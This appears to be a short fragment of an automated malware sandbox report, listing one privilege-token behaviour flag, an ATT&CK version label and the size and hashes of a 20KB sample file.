- Suspicious use of AdjustPrivilegeToken
PID:1412
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
20KB
MD5c09171f863fe693c95b68a15cfa2f725
SHA1e2d56d75f071e713fd0a142bd9d0d9388a7e4c00
SHA256b38abd585fcaa745d5c26eac8743d163b503ede8f5e69a9295b365d85acbd609
SHA5129e5f0d575a9f6b5d415681b35bdf856ab7e226847d0b6e3672b8be66e0f5bb1f42123b5898719a358f063aca1779444ccaab615154cb747589abd1d44c5938b3